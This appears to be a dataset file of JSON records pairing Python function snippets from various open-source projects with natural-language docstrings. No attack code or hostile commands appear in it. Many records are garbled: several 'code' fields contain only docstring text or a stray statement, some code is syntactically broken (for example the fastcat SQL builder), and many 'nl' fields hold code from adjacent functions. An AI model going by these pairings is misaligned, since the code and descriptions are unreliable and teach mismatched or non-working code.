{"code": "def test_read_path(self):\n base_path = Path(__file__).parent / 'data'\n data_path = base_path / 'IU_ULN_00_LH1_2015-07-18T02.mseed'\n assert data_path.exists()\n st = read(data_path)\n assert isinstance(st, Stream)\n", "nl": "Test for reading a pathlib object."} {"code": "def _latest_revision(self, ud, d, name):\n bb.fetch2.check_network_access(d, self._buildhgcommand(ud, d, \"info\"), ud.url)\n output = runfetchcmd(self._buildhgcommand(ud, d, \"info\"), d)\n return output.strip()\n", "nl": "Compute tip revision for the url"} {"code": "def update_network_objects_for_app_name(self, app_name, network_objects):\n app_id = self.get_app_by_name(app_name).id\n return self.update_network_objects_for_app_id(app_id, network_objects)\n", "nl": "Update the specified network objects for the application with the specified name.:param app_name: The ID of the application that network objects will be updated for.:type app_name: str:return: If the object update was successful True is returned"} {"code": "def load_coefficients(path):\n cv_file = cv2.FileStorage(path, cv2.FILE_STORAGE_READ)\n\n K1 = cv_file.getNode(\"K1\").mat()\n D1 = cv_file.getNode(\"D1\").mat()\n K2 = cv_file.getNode(\"K2\").mat()\n D2 = cv_file.getNode(\"D2\").mat()\n R = cv_file.getNode(\"R\").mat()\n T = cv_file.getNode(\"T\").mat()\n E = cv_file.getNode(\"E\").mat()\n F = cv_file.getNode(\"F\").mat()\n R1 = cv_file.getNode(\"R1\").mat()\n R2 = cv_file.getNode(\"R2\").mat()\n P1 = cv_file.getNode(\"P1\").mat()\n P2 = cv_file.getNode(\"P2\").mat()\n Q = cv_file.getNode(\"Q\").mat()\n\n cv_file.release()\n return [K1, D1, K2, D2, R, T, E, F, R1, R2, P1, P2, Q]\n", "nl": " Loads camera matrix and distortion coefficients. # FILE_STORAGE_READcv_file = cv2.FileStorage(path, cv2.FILE_STORAGE_READ)# note we also have to specify the type to retrieve other wise we only get a# FileNode object back instead of a matrixcamera_matrix = cv_file.getNode(\"K\").mat()dist_matrix = cv_file.getNode(\"D\").mat()cv_file.release()return [camera_matrix, dist_matrix]def load_stereo_coefficients(path): Loads stereo matrix coefficients. "} {"code": "def get_tags_in_text(text):\n and the values are the number of occurrences in arguments text.\n current_tags are removed from final list.\n The list is sorted from most occuring tags to least occuring tags'''", "nl": "Returns a dictionary, the keys are tags found in text, and the values are the number of occurrences in textresult_dict = {}words = text.split()#look for tag in wordfor tag in all_tags_names():#create tag variations according to prefixestag_variations = [(p + tag) for p in prefixes]#find number of occurences of tags for each wordoccurence_count = 0for word in words:if word in tag_variations:occurence_count += 1#if tag found more than once, add themif occurence_count > 0 :result_dict[tag] = result_dict.get(tag, 0) + occurence_countreturn result_dictdef extract_suggested_tags(current_tags, text_list):Returns a sorted list consisting of key/value tuples where the keys are tags found in arguments' text,"} {"code": "def table(self):\n return self._Annotated__element.key\n\n @util.memoized_property", "nl": "Pull 'table' from parent, if not presentreturn self._Annotated__element.table@util.memoized_propertydef key(self):Pull 'key' from parent, if not present"} {"code": "def get_user_id(self, details, response):\n return details['userID']\n", "nl": "Return user unique id provided by service. For Ubuntu Onethe nickname should be original."} {"code": "def setup_class(cls):\n assert self.result.exit_code == 0\n", "nl": "Set the test up.cls.cwd = os.getcwd()cls.runner = CliRunner()cls.t = tempfile.mkdtemp()os.chdir(cls.t)# copy the packages directory in the temporary test directory.shutil.copytree(Path(ROOT_DIR, \"packages\"), Path(cls.t, \"packages\"))# remove all the skills except the echo and error skill (to make testing easier).for p in Path(cls.t, \"packages\", \"fetchai\", \"skills\").iterdir():if p.name not in [\"echo\", \"error\"] and p.is_dir():shutil.rmtree(p)cls.result = cls.runner.invoke(cli, [*CLI_LOG_OPTION, \"search\", \"--local\", \"skills\"], standalone_mode=False)def test_exit_code_equal_to_zero(self):Test that the exit code is equal to 0 (i.e. success)."} {"code": "def reset_units(seed=None):\n import random\n\n global m, kg, s, C, K\n\n if seed == 'SI':\n m = 1.\n kg = 1.\n s = 1.\n C = 1.\n K = 1.\n else:\n prior_random_state = random.getstate()\n\n if seed is None:\n random.seed()\n else:\n random.seed(seed)\n\n m = 10 ** random.uniform(-2,2)\n kg = 10 ** random.uniform(-2,2)\n s = 10 ** random.uniform(-2,2)\n C = 10 ** random.uniform(-2,2)\n K = 10 ** random.uniform(-2,2)\n\n random.setstate(prior_random_state)\n\n set_derived_units_and_constants()\n", "nl": "Set all units to new, self-consistent, floating-point values. See packagedocumentation for detailed explanation and examples:http://pypi.python.org/pypi/numericalunitsreset_units() --> units are randomized. This is the suggested use, and isdone automatically the first time the module is imported. So you don't needto call this function explicitly; just do your calculation, display thefinal answer, then repeat in a fresh Python session. If you get the sameanswer both times, then your calculations are almost guaranteed to be free ofdimensional-analysis-violating errors.reset_units('SI') --> Set units so that all values are given in standard SIunits (meters-kilograms-seconds) by default. In this mode, there is no wayto test for dimensional-analysis-violating errors.reset_units(x) --> If you pass any other argument x, it's used as the seedfor the random number generator."} {"code": "def calculate_acc(ypred, y, return_idx=False):\n assert len(y) > 0\n assert len(np.unique(ypred)) == len(np.unique(y))\n\n s = np.unique(ypred)\n t = np.unique(y)\n\n N = len(np.unique(ypred))\n C = np.zeros((N, N), dtype=np.int32)\n for i in range(N):\n for j in range(N):\n idx = np.logical_and(ypred == s[i], y == t[j])\n C[i][j] = np.count_nonzero(idx)\n\n Cmax = np.amax(C)\n C = Cmax - C\n row, col = linear_sum_assignment(C)\n count = 0\n for i in range(N):\n idx = np.logical_and(ypred == s[row[i]], y == t[col[i]])\n count += np.count_nonzero(idx)\n\n if return_idx:\n return 1.0 * count / len(y), row, col\n else:\n return 1.0 * count / len(y)\n\n\nclass FixMatch:", "nl": "Calculating the clustering accuracy. The predicted result must have the same number of clusters as the ground truth.ypred: 1-D numpy vector, predicted labelsy: 1-D numpy vector, ground truthThe problem of finding the best permutation to calculate the clustering accuracy is a linear assignment problem.This function construct a N-by-N cost matrix, then pass it to scipy.optimize.linear_sum_assignment to solve the assignment problem."} {"code": "def test_get_retire_data(self):\n params = copy.copy(self.sample_params)\n data_keys = [\n \"early retirement age\",\n \"full retirement age\",\n \"lifetime\",\n \"benefits\",\n \"params\",\n \"disability\",\n \"months_past_birthday\",\n \"survivor benefits\",\n ]\n benefit_keys = [\n \"age 62\",\n \"age 63\",\n \"age 64\",\n \"age 65\",\n \"age 66\",\n \"age 67\",\n \"age 68\",\n \"age 69\",\n \"age 70\",\n ]\n data = get_retire_data(params, language=\"en\")[\"data\"]\n self.assertEqual(data[\"params\"][\"yob\"], 1970)\n for each in data.keys():\n self.assertTrue(each in data_keys)\n for each in data[\"benefits\"].keys():\n self.assertTrue(each in benefit_keys)\n params[\"dobday\"] = 1\n params[\"dobmon\"] = 6\n data = get_retire_data(params, language=\"en\")[\"data\"]\n self.assertEqual(data[\"params\"][\"yob\"], 1970)\n params[\"yob\"] = self.today.year - 62\n params[\"dobmon\"] = self.today.month\n params[\"dobday\"] = self.today.day\n data = get_retire_data(params, language=\"en\")\n self.assertTrue(data[\"data\"][\"benefits\"][\"age 62\"] != 0)\n params[\"yob\"] = 1937\n data = get_retire_data(params, language=\"en\")\n self.assertEqual(data[\"data\"][\"params\"][\"yob\"], 1937)\n self.assertTrue(\"70\" in data[\"note\"])\n params[\"yob\"] = self.today.year - 21\n data = get_retire_data(params, language=\"en\")\n self.assertTrue(\"22\" in data[\"note\"])\n params[\"yob\"] = self.today.year - 57\n data = get_retire_data(params, language=\"en\")\n self.assertTrue(data[\"data\"][\"benefits\"][\"age 62\"] != 0)\n self.assertTrue(data[\"data\"][\"benefits\"][\"age 70\"] != 0)\n params[\"yob\"] = self.today.year - 64\n data = get_retire_data(params, language=\"en\")\n self.assertTrue(data[\"data\"][\"benefits\"][\"age 70\"] != 0)\n params[\"yob\"] = self.today.year - 65\n data = get_retire_data(params, language=\"en\")\n self.assertTrue(data[\"data\"][\"benefits\"][\"age 70\"] != 0)\n params[\"yob\"] = self.today.year - 66\n data = get_retire_data(params, language=\"en\")\n self.assertTrue(data[\"data\"][\"benefits\"][\"age 70\"] != 0)\n self.assertTrue(data[\"data\"][\"benefits\"][\"age 66\"] != 0)\n params[\"yob\"] = self.today.year - 67\n data = get_retire_data(params, language=\"en\")\n self.assertTrue(data[\"data\"][\"benefits\"][\"age 70\"] != 0)\n params[\"yob\"] = self.today.year - 68\n data = get_retire_data(params, language=\"en\")\n self.assertTrue(data[\"data\"][\"benefits\"][\"age 70\"] != 0)\n params[\"yob\"] = self.today.year - 69\n data = get_retire_data(params, language=\"en\")\n self.assertTrue(data[\"data\"][\"benefits\"][\"age 70\"] != 0)\n params[\"yob\"] = self.today.year - 70\n data = get_retire_data(params, language=\"en\")\n self.assertTrue(data[\"data\"][\"benefits\"][\"age 70\"] != 0)\n params[\"earnings\"] = 0\n data = get_retire_data(params, language=\"en\")\n self.assertTrue(\"zero\" in data[\"error\"])\n params[\"yob\"] = self.today.year - 45\n data = get_retire_data(params, language=\"en\")\n self.assertTrue(\"zero\" in data[\"error\"] or \"SSA\" in data[\"error\"])\n params[\"earnings\"] = 100000\n params[\"yob\"] = self.today.year - 68\n data = get_retire_data(params, language=\"en\")\n self.assertTrue(\"past\" in data[\"note\"])\n params[\"yob\"] = self.today.year + 1\n data = get_retire_data(params, language=\"en\")\n self.assertTrue(\"22\" in data[\"note\"])\n\n @mock.patch(\"retirement_api.utils.ss_calculator.requests.post\")", "nl": "given a birth date and annual pay value,return a dictionary of social security values"} {"code": "def showLogging(debug=False):\n\n try:\n log_level = logging.WARN\n log_format = LOG_FORMAT_DEBUG\n if debug:\n log_level = logging.DEBUG\n logging.basicConfig(\n level=log_level,\n format=log_format)\n except:\n logging.basicConfig()\n\n\n", "nl": "Shortcut for enabling log dump"} {"code": "def _normalize_key(self, key):\n for header in self.ALL_HEADERS:\n value = self[header]\n if value:\n yield header, value\n", "nl": "Normalize a header name for use as a key.return key.upper()def items(self):Generator for each header."} {"code": "def matches_any(cf_stack_name: str, stack_refs: list):\n\n cf_stack_name = cf_stack_name or \"\"\n try:\n name, version = cf_stack_name.rsplit(\"-\", 1)\n except ValueError:\n name = cf_stack_name\n version = \"\"\n return any(ref.matches(name, version) for ref in stack_refs)\n\n", "nl": "Checks if the stack name matches any of the stack references"} {"code": "def fastcat_creation_SQL(self, engine=\"MEMORY\"):\n\n tbname = \"fastcat\"\n if engine==\"MYISAM\":\n tbname = \"fastcat_\"\n\n fastFieldsCreateList = [\n \"bookid MEDIUMINT UNSIGNED NOT NULL, PRIMARY KEY (bookid)\",\n \"nwords MEDIUMINT UNSIGNED NOT NULL\"\n ]\n\n fastFieldsCreateList += [variable.fastSQL() for variable in self.variableSet.uniques(\"fast\")]\n\n create_command = \"\"\"DROP TABLE IF EXISTS tmp;\"\"\"\n \", \".join(fastFieldsCreateList), engine)\n\n if engine == \"MYISAM\":\n fastFields = [\"bookid\",\"nwords\"] + [variable.fastField for variable in self.variableSet.uniques(\"fast\")]\n load_command = \"INSERT INTO tmp SELECT \"\n load_command += \",\".join(fastFields) + \" FROM catalog USE INDEX () \"\n load_command += \" \".join([\"LEFT JOIN %(field)s__id USING (%(field)s ) \" % variable.__dict__ for variable in self.variableSet.uniques(\"categorical\")]) + \";\"\n elif engine == \"MEMORY\":\n load_command = \"INSERT INTO tmp SELECT * FROM fastcat_;\"\n\n cleanup_command = \"DROP TABLE IF EXISTS {};\".format(tbname)\n cleanup_command += \"RENAME TABLE tmp TO {};\".format(tbname)\n return create_command + load_command + cleanup_command;\n", "nl": "Generate SQL to create the fastcat (memory) and fastcat_ (on-disk) tables."} {"code": "def _filter_node(name: str, node: dict) -> dict:\n Returns the serialized name for the shape if it exists.", "nl": "Filters the node dict for entries where the key starts with the given name.filtered = {k[len(name) + 1 :]: v for k, v in node.items() if k.startswith(name)}return filtered if len(filtered) > 0 else Nonedef _get_serialized_name(self, shape: Shape, default_name: str, node: dict) -> str:"} {"code": "def resources_duration(self):\n return self._resources_duration\n\n @resources_duration.setter", "nl": "Gets the resources_duration of this V1alpha1WorkflowStatus. # noqa: E501ResourcesDuration is the total for the workflow # noqa: E501:return: The resources_duration of this V1alpha1WorkflowStatus. # noqa: E501:rtype: dict(str, int)"} {"code": "def get_labels(self):\n with tf.gfile.Open(input_file, \"r\") as f:\n reader = csv.reader(f, delimiter=\"\\t\", quotechar=quotechar)\n lines = []\n for line in reader:\n lines.append(line)\n return lines\n\nclass MrpcProcessor(DataProcessor):\n \"\"\"Processor for the MRPC data set (GLUE version).\"\"\"", "nl": "Gets the list of labels for this data set.raise NotImplementedError()@classmethoddef _read_tsv(cls, input_file, quotechar=None):Reads a tab separated value file."} {"code": "def __init__(self, ner: Chainer, ner_parser: EntityDetectionParser, add_nouns: False, **kwargs) -> None:\n self.ner = ner\n self.ner_parser = ner_parser\n self.re_tokenizer = re.compile(r\"[\\w']+|[^\\w ]\")\n self.add_nouns = add_nouns\n self.nlp = spacy.load(\"en_core_web_sm\")\n", "nl": "Args:ner: config for entity detectionner_parser: component deeppavlov.models.kbqa.entity_detection_parser**kwargs:"} {"code": "def generate_html_documentation(self):\n\n methods = {}\n\n for method_name in self.system_listMethods():\n if self.funcs.has_key(method_name):\n method = self.funcs[method_name]\n elif self.instance is not None:\n method_info = [None, None]\n if hasattr(self.instance, '_get_method_argstring'):\n method_info[0] = self.instance._get_method_argstring(method_name)\n if hasattr(self.instance, '_methodHelp'):\n method_info[1] = self.instance._methodHelp(method_name)\n\n method_info = tuple(method_info)\n if method_info != (None, None):\n method = method_info\n elif not hasattr(self.instance, '_dispatch'):\n try:\n method = resolve_dotted_attribute(\n self.instance,\n method_name\n )\n except AttributeError:\n method = method_info\n else:\n method = method_info\n else:\n assert 0, \"Could not find method in self.functions and no \"\\\n \"instance installed\"\n\n methods[method_name] = method\n\n documenter = ServerHTMLDoc()\n documentation = documenter.docserver(\n self.server_name,\n self.server_documentation,\n methods\n )\n\n return documenter.page(self.server_title, documentation)\n\nclass DocXMLRPCRequestHandler(SimpleXMLRPCRequestHandler):\n \"\"\"XML-RPC and documentation request handler class.\n", "nl": "generate_html_documentation() => html documentation for the serverGenerates HTML documentation for the server using introspection forinstalled functions and instances that do not implement the_dispatch method. Alternatively, instances can choose to implementthe _get_method_argstring(method_name) method to provide theargument string used in the documentation and the_methodHelp(method_name) method to provide the help text usedin the documentation."} {"code": "def _dist_info_files(whl_zip):\n\n Fallback for when the build backend does not", "nl": "Identify the .dist-info folder inside a wheel ZipFile.res = []for path in whl_zip.namelist():m = re.match(r'[^/\\\\]+-[^/\\\\]+\\.dist-info/', path)if m:res.append(path)if res:return resraise Exception(\"No .dist-info folder found in wheel\")def _get_wheel_metadata_from_wheel(backend, metadata_directory, config_settings):Build a wheel and extract the metadata from it."} {"code": "def init(cooker):\n return Cache(cooker.configuration.data, cooker.configuration.data_hash)\n\n\nclass CacheData(object):\n \"\"\"\n", "nl": "The Objective: Cache the minimum amount of data possible yet get to thestage of building packages (i.e. tryBuild) without reparsing any .bb files.To do this, we intercept getVar calls and only cache the variables we seebeing accessed. We rely on the cache getVar calls being made for allvariables bitbake might need to use to reach this stage. For each cachedfile we need to track:* Its mtime* The mtimes of all its dependencies* Whether it caused a parse.SkipRecipe exceptionFiles causing parsing errors are evicted from the cache."} {"code": "def run(**kwargs):\n LOG.debug(\"Setting ignore_status to True.\")\n kwargs[\"ignore_status\"] = True\n result = run_func(\" \".join(command(service_name)), **kwargs)\n result.stdout = result.stdout_text\n result.stderr = result.stderr_text\n return parse_func(result)\n return run\n\n\nclass _GenericServiceManager(object):\n\n \"\"\"\n", "nl": "Wrapped process.run invocation that will start, stop, restart, etc. a service.:param kwargs: extra arguments to process.run, .e.g. timeout. But not for ignore_status.We need a CmdResult to parse and raise a exceptions.TestError if command failed.We will not let the CmdError out.:return: result of parse_func."} {"code": "def handle_pip_version_check(self, options: Values) -> None:\n assert hasattr(options, \"no_index\")\n\n if options.disable_pip_version_check or options.no_index:\n return\n\n session = self._build_session(\n options, retries=0, timeout=min(5, options.timeout)\n )\n with session:\n pip_self_version_check(session, options)\n\n\nKEEPABLE_TEMPDIR_TYPES = [\n tempdir_kinds.BUILD_ENV,\n tempdir_kinds.EPHEM_WHEEL_CACHE,\n tempdir_kinds.REQ_BUILD,\n]\n\n", "nl": "Do the pip version check if not disabled.This overrides the default behavior of not doing the check."} {"code": "def _maybe_process_deprecations(r, how=None, fill_method=None, limit=None):\n\n if how is not None:\n\n if isinstance(how, compat.string_types):\n method = \"{0}()\".format(how)\n\n else:\n method = \".apply()\"\n\n if fill_method is None:\n warnings.warn(\"how in .resample() is deprecated\\n\"\n \"the new syntax is \"\n \".resample(...).{method}\".format(\n method=method),\n FutureWarning, stacklevel=3)\n r = r.aggregate(how)\n\n if fill_method is not None:\n\n method = '.' + method if how is not None else ''\n\n args = \"limit={0}\".format(limit) if limit is not None else \"\"\n warnings.warn(\"fill_method is deprecated to .resample()\\n\"\n \"the new syntax is .resample(...){method}\"\n \".{fill_method}({args})\".format(\n method=method,\n fill_method=fill_method,\n args=args),\n FutureWarning, stacklevel=3)\n\n if how is not None:\n r = getattr(r, fill_method)(limit=limit)\n else:\n r = r.aggregate(fill_method, limit=limit)\n\n return r\n\n\nclass _GroupByMixin(GroupByMixin):\n \"\"\"", "nl": "Potentially we might have a deprecation warning, show itbut call the appropriate methods anyhow."} {"code": "def spawn_isolated_child(self):\n return self.get_chain(use_fork=True).call(\n ansible_mitogen.target.spawn_isolated_child\n )\n", "nl": "Fork or launch a new child off the target context.:returns:mitogen.core.Context of the new child."} {"code": "def subn(pattern, repl, string, count=0, flags=0):\n return _compile(pattern, flags).subn(repl, string, count)\n", "nl": "Return a 2-tuple containing (new_string, number).new_string is the string obtained by replacing the leftmostnon-overlapping occurrences of the pattern in the sourcestring by the replacement repl. number is the number ofsubstitutions that were made. repl can be either a string or acallable; if a string, backslash escapes in it are processed.If it is a callable, it's passed the Match object and mustreturn a replacement string to be used."} {"code": "def connectionMade(self):\n msg('Disconnector.connectionMade')", "nl": "Set up a callback on clientPaused to lose the connection."} {"code": "def list_docs(self, limit=None, skip=None):\n params = dict()\n if limit is not None:\n params[\"limit\"] = limit\n if skip is not None:\n params[\"skip\"] = skip\n resp = self._r_session.get('/'.join([self._scheduler, 'docs']), params=params)\n resp.raise_for_status()\n return response_to_json_dict(resp)\n", "nl": "Lists replication documents. Includes informationabout all the documents, even in completed and failedstates. For each document it returns the document ID, thedatabase, the replication ID, source and target, and otherinformation.:param limit: How many results to return.:param skip: How many result to skip starting at the beginning, if ordered by document ID."} {"code": "def get_cover_file_path():\n return AndroidSyzkallerRunner(fuzzer_path)\n\n", "nl": "Return location of coverage file for Syzkaller.return os.path.join(get_work_dir(), 'coverfile')def get_runner(fuzzer_path):Return a syzkaller runner object."} {"code": "def has_type_arguments(type_):\n return isinstance(type_, typing_root_type + (GenericAlias,)) or (\n isinstance(type_, type) and typing.Generic in type_.__mro__\n )\n\n", "nl": "Decides whethere or not this type has applied type arguments.args = getattr(type_, \"__args__\", None)if args and isinstance(type_, (typing._GenericAlias, GenericAlias)):# There are some cases when declared types do already have type arguments# Like `Sequence`, that is `_GenericAlias(abc.Sequence[T])[T]`parameters = getattr(type_, \"__parameters__\", None)if parameters: # So, we need to know if type args are just \"aliases\"return args != parametersreturn bool(args)def is_generic_type(type_):Decides whether a given type is generic or not."} {"code": "def f_avci(Re, eD):\n f = 6.4/(log(Re)-log(1+0.01*Re*eD*(1+10*eD**0.5)))**2.4\n return Dimensionless(f)\n\n\n@refDoc(__doi__, [23])", "nl": "rCalculates friction factor `f` with Avci-Karagoz correlation (2009).. math::f = \\frac{6.4} {\\left\\{\\ln(Re) - \\ln\\left[1 + 0.01Re\\frac{\\epsilon}{D}\\left(1 + 10(\\frac{\\epsilon}{D})^{0.5}\\right)\\right]\\right\\}^{2.4}}Parameters------------Re : floatReynolds number, [-]eD : floatRelative roughness of a pipe, [-]Returns-------f : floatFriction factor, [-]"} {"code": "def deterministic_PRNG(seed=0):\n if hypothesis.core._hypothesis_global_random is None:\n hypothesis.core._hypothesis_global_random = random.Random()\n register_random(hypothesis.core._hypothesis_global_random)\n\n seed_all, restore_all = get_seeder_and_restorer(seed)\n seed_all()\n try:\n yield\n finally:\n restore_all()", "nl": "Context manager that handles random.seed without polluting global state.See issue #1255 and PR #1295 for details and motivation - in short,leaving the global pseudo-random number generator (PRNG) seeded is a verybad idea in principle, and breaks all kinds of independence assumptionsin practice."} {"code": "def run(self):\n self.key = \"target\"\n if not self.task:\n return {\"category\": \"unknown\", \"file\": {\"name\": \"unknown\"}}\n\n target_info = {\"category\": self.task[\"category\"]}\n\n if self.task[\"category\"] == \"file\":\n target_info[\"file\"] = {}\n\n if os.path.exists(self.file_path):\n target_info[\"file\"] = File(self.file_path).get_all()\n\n target_info[\"file\"][\"name\"] = File(self.task[\"target\"]).get_name()\n elif self.task[\"category\"] == \"url\":\n target_info[\"url\"] = self.task[\"target\"]\n\n return target_info", "nl": "Run file information gathering.@return: information dict."} {"code": "def name(self):\n The final component's last suffix, if any.\n\n This includes the leading period. For example: '.txt'\n \"\"\"", "nl": "The final path component, if any.parts = self._partsif len(parts) == (1 if (self._drv or self._root) else 0):return ''return parts[-1]@propertydef suffix(self):"} {"code": "def date_time_string(self, timestamp=None):\n now = time.time()\n year, month, day, hh, mm, ss, x, y, z = time.localtime(now)\n s = \"%02d/%3s/%04d %02d:%02d:%02d\" % (\n day, self.monthname[month], year, hh, mm, ss)\n return s\n\n weekdayname = ['Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat', 'Sun']\n\n monthname = [None,\n 'Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun',\n 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']\n", "nl": "Return the current date and time formatted for a message header.if timestamp is None:timestamp = time.time()year, month, day, hh, mm, ss, wd, y, z = time.gmtime(timestamp)s = \"%s, %02d %3s %4d %02d:%02d:%02d GMT\" % (self.weekdayname[wd],day, self.monthname[month], year,hh, mm, ss)return sdef log_date_time_string(self):Return the current time formatted for logging."} {"code": "def get_permissions(names):\n names = set(names)\n split_names = (name.split(\".\", 1) for name in names)\n query_elements = [\n Q(content_type__app_label=app_label, codename=codename)\n for app_label, codename in split_names\n ]\n permissions = (\n Permission.objects.filter(reduce(or_, query_elements))\n if query_elements\n else Permission.objects.none()\n )\n\n if len(permissions) != len(names):\n differences = names - {\n f\"{p.content_type.app_label:s}.{p.codename:s}\" for p in permissions\n }\n diff_string = \", \".join(differences)\n raise Permission.DoesNotExist(\n f\"Some permission names were not found: {diff_string:s}\"\n )\n\n return permissions\n\n", "nl": "Given an iterable of permission names of the form \"app_label.codename\",return an iterable of the corresponding existing Permission objects."} {"code": "def _DecodeFn():\n tf.logging.info(f'_InfeedLoop start {self._program_name} '\n f'on dataset {dataset_name}')\n", "nl": "Decode call to be compiled for TPU.# Applies EMA if applicable to support running only eval/decode programs._, decode_dict = self._model.ConstructDecodeGraph(apply_ema=(not self._ema_applied),input_batch=inp_instance.TpuDequeueBatch())self._ema_applied = Trueself.decode_nm = py_utils.NestedMap(decode_dict)return self.decode_nm.Flatten()self._compile_op, batch_parallel_res = tpu.split_compile_and_shard(_DecodeFn,num_shards=self.data_parallelism,device_assignment=py_utils.GetTpuDeviceAssignment())if self.decode_nm:decode_tensors = self.decode_nm.Pack(batch_parallel_res)else:decode_tensors = py_utils.NestedMap()if py_utils.IsEagerMode():# The CPU pass through data will be from the infeed function.cpu_pt = {}else:cpu_pt = inp_instance.DequeueCpuPassthrough()return decode_tensors, cpu_ptdef _DecodeUntilOutOfRangeInfeedLoop(self,dataset_name,inp_instance,sess=None,infeed_step_queue=None):Infeed loop that stops when it runs out of data (OutOfRange error)."} {"code": "def ObjectToURI(obj, *suffixes):\n if is_file(obj):\n return 'file://{}'.format(os.path.abspath(os.path.join(obj.name,\n *suffixes)))\n if isinstance(obj, six.string_types):\n return 'file://{}'.format(os.path.join(obj, *suffixes))\n uri = six.ensure_text(obj.uri)\n if suffixes:\n suffixes_list = [six.ensure_text(suffix) for suffix in suffixes]\n uri = _NormalizeURI('/'.join([uri] + suffixes_list))\n\n if uri.endswith('/'):\n uri = uri[:-1]\n return uri\n\n\nclass GSMockConnection(mock_storage_service.MockConnection):\n", "nl": "Returns the storage URI string for a given StorageUri or file object.Args:obj: The object to get the URI from. Can be a file object, a subclass ofboto.storage_uri.StorageURI, or a string. If a string, it is assumed tobe a local on-disk path.*suffixes: Suffixes to append. For example, ObjectToUri(bucketuri, 'foo')would return the URI for a key name 'foo' inside the givenbucket.Returns:Storage URI string."} {"code": "def test_simple_strategy_each_quorum_users(self):\n self.nodes = 5\n self.rf = 3\n\n combinations = [\n (ConsistencyLevel.LOCAL_QUORUM, ConsistencyLevel.EACH_QUORUM),\n (ConsistencyLevel.EACH_QUORUM, ConsistencyLevel.EACH_QUORUM),\n ]\n\n self.log(\"Testing single dc, users, each quorum reads\")\n self._run_test_function_in_parallel(TestAccuracy.Validation.validate_users, [self.nodes], [self.rf], combinations)\n\n @attr(\"resource-intensive\")", "nl": "@jira_ticket CASSANDRA-10584Test for a single datacenter, users table, only the each quorum reads."} {"code": "def GetBuildDir():\n\n global _temp_dir\n if not _temp_dir:\n _temp_dir = tempfile.mkdtemp()\n return _temp_dir\n\n", "nl": "Returns the absolute path of the directory where the test binaries are.return os.path.abspath(GetFlag('build_dir'))_temp_dir = Nonedef _RemoveTempDir():if _temp_dir:shutil.rmtree(_temp_dir, ignore_errors=True)atexit.register(_RemoveTempDir)def GetTempDir():Returns a directory for temporary files."} {"code": "def narrow_rows(self, start: Optional[int], length: Optional[int]) -> 'SparseTensor':\n if start is None:\n start = 0\n elif start > self.shape[0]:\n raise IndexError(\"Start is greater than the length of the array\")\n if length is None:\n length = self.shape[0] - start\n elif length + start > self.shape[0]:\n raise IndexError(\"End larger than array\")\n\n end = start + length\n startptr = self.indexptr[start]\n endptr = self.indexptr[end]\n\n new_indexptr = self.indexptr[start:end + 1]\n new_index = self.index[startptr:endptr]\n new_data = self.data[startptr:endptr]\n if start > 0:\n new_indexptr = new_indexptr.clone().detach()\n new_indexptr.sub_(startptr)\n\n return SparseTensor(\n indexptr=new_indexptr, index=new_index, data=new_data, size=(length, self.size(1)))\n", "nl": "Select a subset of contiguous rows from the sparse matrix.If this is a CSC sparse matrix, instead of taking contiguous rows we take contiguouscolumns.Parameters----------start: int or NoneThe index of the first row to select. If None will be assumed to be 0.length: int or NoneThe number of rows to select. If None will be assumed to be all rows after `start`.Returns--------SparseTensorA new :class:`~falkon.sparse.sparse_tensor.SparseTensor` object with `length` rows.Notes------The output matrix will share storage with the original matrix whenever possible."} {"code": "def offsetof(self, cdecl, *fields_or_indexes):\n if isinstance(cdecl, basestring):\n cdecl = self._typeof(cdecl)\n return self._typeoffsetof(cdecl, *fields_or_indexes)[1]\n", "nl": "Return the offset of the named field inside the givenstructure or array, which must be given as a C type name.You can give several field names in case of nested structures.You can also give numeric values which correspond to arrayitems, in case of an array type."} {"code": "def isLegalInsn(self, line):\n return True\n", "nl": "Check if the given code line represents a legal instruction.Args:line (sark line): sark code lineReturn Value:True iff all supported heuristics show the instruction is legal"} {"code": "def _map_feature(self, feat_name, feat_value):\n try:\n feat_value = float(feat_value)\n except ValueError:\n return {feat_name: feat_value}\n if feat_name not in self.features:\n return {feat_name: feat_value}\n\n mapper = self.features[feat_name]\n new_feat_value = mapper.map_bucket(feat_value)\n return {feat_name: new_feat_value}", "nl": "Map numerical feature values to categorical values.Args:feat_name (str): feature namefeat_value (any): feature value"} {"code": "def ctxtReadFd(self, fd, URL, encoding, options):\n ret = libxml2mod.xmlCtxtReadFd(self._o, fd, URL, encoding, options)\n if ret is None:raise treeError('xmlCtxtReadFd() failed')\n __tmp = xmlDoc(_obj=ret)\n return __tmp\n", "nl": "parse an XML from a file descriptor and build a tree. Thisreuses the existing @ctxt parser context NOTE that the filedescriptor will not be closed when the reader is closed orreset. "} {"code": "def disconnect_partner():\n\n\nclass ActiveConnections(object):\n \"\"\"", "nl": "Disconnect our partner's transport"} {"code": "def handleHolidays(self):\n DistributedCCharBaseAI.DistributedCCharBaseAI.handleHolidays(self)\n if hasattr(simbase.air, \"holidayManager\"):\n if ToontownGlobals.APRIL_FOOLS_COSTUMES in simbase.air.holidayManager.currentHolidays and simbase.air.holidayManager.currentHolidays[ToontownGlobals.APRIL_FOOLS_COSTUMES] != None \\\n and simbase.air.holidayManager.currentHolidays[ToontownGlobals.APRIL_FOOLS_COSTUMES].getRunningState():\n self.diffPath = TTLocalizer.Daisy", "nl": "Handle holiday specific behavior"} {"code": "def eventType(self, eventType: str) -> None:\n if not isinstance(eventType, str):\n raise TypeError(f\"eventType is {type(eventType)}; expected str()\")\n\n if not eventType:\n raise ValueError(\"eventType is empty\")\n\n self._eventType = eventType\n\n @confidence.setter", "nl": "Event type.Args:eventType (str): type of data for this eventRaises:TypeError: confidence type was invalidValueError: confidence value was invalid"} {"code": "def send(self):\n new.set(\"username\", \"Jimbob\")\n new.set(\"msg\", \"\"\"\n new.set(\"traceback\", \"\"\"Traceback (most recent call last):\n new.send()", "nl": " Sends the data to the arecibo server for x in required:assert self._data.get(x), \"The key %s is required\" % xself._send()# privatedef _data_encoded(self):data = {}for k in keys:if self._data.get(k):data[k] = self._data.get(k)return urlencode(data)def _send(self):key = self.transport.lower()assert key in [\"http\", \"smtp\", \"https\"]if key in [\"http\", \"https\"]:self._send_http()elif key == \"smtp\":self._send_smtp()def _msg_body(self):body = simplejson.dumps(self._data)msg = \"From: %s\\r\\nTo: %s\\r\\n\\r\\n%s\" % (self.smtp_from, postaddress, body)return msgdef _send_smtp(self):msg = self._msg_body()s = smtplib.SMTP(self.smtp_server)s.sendmail(self.smtp_from, postaddress, msg)s.quit()def _send_http(self):if 